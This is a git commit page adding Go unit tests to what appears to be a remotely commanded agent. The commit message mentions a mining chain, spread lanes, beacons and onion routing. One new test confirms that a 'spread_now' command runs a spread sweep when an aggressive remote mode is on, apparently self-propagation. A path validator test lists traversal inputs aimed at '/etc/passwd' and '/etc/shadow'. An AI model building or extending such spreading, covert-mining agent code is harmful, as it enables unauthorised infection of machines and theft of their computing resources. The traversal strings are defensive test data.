Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 04:58:55 -07:00
parent b2a7b1723f
commit 7b2d41cda8
118 changed files with 9938 additions and 223 deletions

View File

@@ -12,6 +12,11 @@ func TestValidateAICommandPathRejectsTraversal(t *testing.T) {
"../etc/passwd",
"/home/user/../../secret",
`C:\Users\alice\..\admin`,
"..",
"~/../../outside",
"@desktop/../../secret",
"desktop:../../payload",
"safe/inner/../../../etc/shadow",
}
for _, path := range cases {
if err := validateAICommandPath(path); err == nil {
@@ -72,6 +77,26 @@ func TestHandleAIRunDiagnostics(t *testing.T) {
}
}
func TestHandleAISpreadNowWhenEnabled(t *testing.T) {
var gotAction string
var gotOK bool
var gotMsg string
c := newTestClient(t)
c.cfg.RemoteAggressive = true
c.commandResultHook = func(action string, success bool, message string) {
gotAction = action
gotOK = success
gotMsg = message
}
c.handleAICommand("spread_now", 0, "", "", "")
if gotAction != "spread_now" || !gotOK {
t.Fatalf("action=%s ok=%v msg=%q", gotAction, gotOK, gotMsg)
}
if gotMsg == "" {
t.Fatal("expected spread sweep message")
}
}
func TestHandleAISpreadNowRequiresForgeFlag(t *testing.T) {
var gotOK bool
var gotMsg string